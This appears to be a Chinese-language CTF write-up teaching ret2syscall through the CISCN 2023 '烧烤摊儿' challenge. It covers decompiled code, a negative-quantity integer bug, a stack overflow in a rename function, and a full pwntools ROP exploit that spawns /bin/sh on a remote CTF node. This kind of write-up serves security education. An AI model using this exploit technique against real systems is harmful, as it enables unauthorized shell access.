栈溢出(ret2syscall)

ret2syscall

32位和64位进行系统调用时的区别

  1. 32位程序的函数调用用栈传参,使用 int 0x80 中断来进行系统调用
  2. 64位程序的函数调用前6个参数用寄存器传参,剩下的参数通过栈传参,使用 syscall 指令进行系统调用

Linux下64位的系统调用表格:参见博客

控制寄存器的值

ret2syscall 就是控制寄存器的值,以执行我们想要执行的系统调用函数,如使用 execve("/bin/sh",NULL,NULL) 来获得 shell,根据表格,在64位的情况下我们就要使得rax寄存器的值为 59(execve的系统调用号),rdi寄存器的值为字符串"/bin/sh"的首地址,rsi 和 rdx寄存器的值为 0

如何控制寄存器的值?
我们可以使用 ROPgadget 这个工具,如下:

1
2
3
4
5
6
7
8
9
10
(pip_venv) ubuntu:~/ctf/nss/pwn/烧烤摊儿$ ROPgadget --binary ./shaokao --only "pop|ret" | grep -E "rax|rdi|rsi|rdx"
0x00000000004a404a : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000458827 : pop rax ; ret
0x000000000042a664 : pop rax ; ret 1
0x00000000004050f4 : pop rdi ; pop rbp ; ret
0x000000000040264f : pop rdi ; ret
0x00000000004a404b : pop rdx ; pop rbx ; ret
0x00000000004050f2 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000040264d : pop rsi ; pop r15 ; ret
0x000000000040a67e : pop rsi ; ret

在有栈溢出的地方,控制返回地址为如上 pop rsi 的地址,然后再写入想要赋给 rsi 的值,执行到 pop 指令时就会将当前 rsp 指向的值赋给 rsi,之后ret,我们可以再写 pop rdi 的地址,这样 pop rip (即ret指令) 就会将 pop rdi 这个地址赋给 rip 进而再跳转到我们想执行的地方,以此类推,只要有ret,我们就可以一直控制程序流执行我们想执行的地方

例题

[CISCN 2023 初赛]烧烤摊儿 为例

在 IDA 中查看主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d

welcome(argc, argv, envp);
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
pijiu();
break;
case 2u:
chuan();
break;
case 3u:
yue();
break;
case 4u:
vip();
break;
case 5u:
if ( own )
gaiming();
break;
default:
printf((unsigned int)&unk_4B7008, (_DWORD)argv, v3, v4, v5, v6);
exit(0LL);
}
}
}

scanf的安全性问题:

%d 的安全性:相对安全,因为只会读取固定大小的整数,输入非数字时可能导致读取失败,但不会发生缓冲区溢出
%s 的安全性:存在缓冲区溢出风险,没有长度限制,可能超出数组边界,但使用 %9s 这样的格式可以限制读取长度

在其他函数(pijiu()等)中,我们只看到了%d的整数读入,只在 gaiming 中看到了 %s 式的读入,因此 gaiming 函数存在栈溢出,那么我们首先要做的第一步就是执行到 gaiming 这个函数(从代码中看到 own 变量的值需要为 1)

vip() 函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 vip()
{
puts(&unk_4B7180);
if ( money <= 100000 )
{
puts(&unk_4B71A9);
}
else
{
money -= 100000;
own = 1;
puts("成交");
}
return 0LL;
}

Tips:若在 IDA中中文字符串无法正常显示,可尝试:点击IDA菜单 Options -> General… -> stringsdefault 8-bit 改为 UTF-8

因此我们需要让 money 的值大于 100000,我们运行程序可以看到初始钱包的余额只有233

1
2
3
4
5
6
7
8
9
(pip_venv) ubuntu:~/ctf/nss/pwn/烧烤摊儿$ ./shaokao
欢迎来到大金烧烤摊儿,来点啥?
1. 啤酒
2. 烤串
3. 钱包余额
4. 承包摊位
0. 离开
> 3
你瞅了一眼钱包,里边还有233块钱
而其他买啤酒和买烤串的函数都只会减少 money
吗?
来看一下具体函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 pijiu()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v9; // [rsp+8h] [rbp-8h] BYREF
int v10; // [rsp+Ch] [rbp-4h] BYREF

v10 = 1;
v9 = 1;
puts(&unk_4B70B6);
puts("2. 燕京U8");
puts(&unk_4B70D2);
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v10, v0, v1, v2, v3);
puts(&unk_4B70E2);
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v9, v4, v5, v6, v7);
if ( 10 * v9 >= money )
puts(&unk_4B70EF);
else
money += -10 * v9;
puts("咕噜咕噜...");
return 0LL;
}

10 * v9 >= moneymoney += -10 * v9 这里都没有判断 v9 的值是正是负,因此只要我们输入负的数量的啤酒,就可以使得 money 无限多,进而买下烧烤摊执行改名函数

通过 ROPgadget 发现有syscall指令但是没有 "/bin/sh" 这个字符串

1
2
3
4
5
6
7
8
9
(pip_venv) ubuntu:~/ctf/nss/pwn/烧烤摊儿$ ROPgadget --binary ./shaokao --only "syscall"
Gadgets information
============================================================
0x0000000000402404 : syscall

Unique gadgets found: 1
(pip_venv) ubuntu:~/ctf/nss/pwn/烧烤摊儿$ ROPgadget --binary ./shaokao --string "/bin/sh"
Strings information
============================================================

因此我们需要自己写入"/bin/sh"这个字符串,改名函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 gaiming()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
char v5[32]; // [rsp+0h] [rbp-20h] BYREF

puts(&unk_4B71C0);
_isoc99_scanf((unsigned int)&unk_4B71EB, (unsigned int)v5, v0, v1, v2, v3);
j_strcpy_ifunc(&name, v5);
return 0LL;
}

因此我们直接把 "/bin/sh" 写在 v5 的开头,然后拿 v5 的首地址作为 execve 中字符串的首地址即可,注意字符串要以 \0 结尾

[rsp+0h] [rbp-20h] BYREF 我们可以知道向 v5 写入 20h + 8(旧的rbp)个字节后就到了存放返回地址的地方,但是字符串 "/bin/sh\0" 刚好占了 8个字节,所以我们只需要填充 20h个字节,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

# context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']
# sh = process('./shaokao')
# gdb.attach(sh, "b main")
context.arch = 'amd64'
sh = remote('node4.anna.nssctf.cn', 28758)
sh.sendline(b'1')
sh.sendline(b'1')
sh.sendline(b'-1000000')
sh.sendline(b'4')
sh.sendline(b'5')

pop_rax_ret = 0x458827
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
pop_rdx_rbx_ret = 0x4a404b
binsh = 0x4E60F0
syscall = 0x402404
payload = flat(
['/bin/sh\0', '\x00' * 0x20, pop_rax_ret, 0x3b, pop_rdi_ret, binsh, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall]
)
sh.sendline(payload)
sh.interactive()

Tips:context.arch 会影响数据的打包方式和字节序,决定了内存对齐和字长的处理方式,影响常量和地址的解析方式,flat( ) 可以自动处理架构相关的打包细节

结果如下: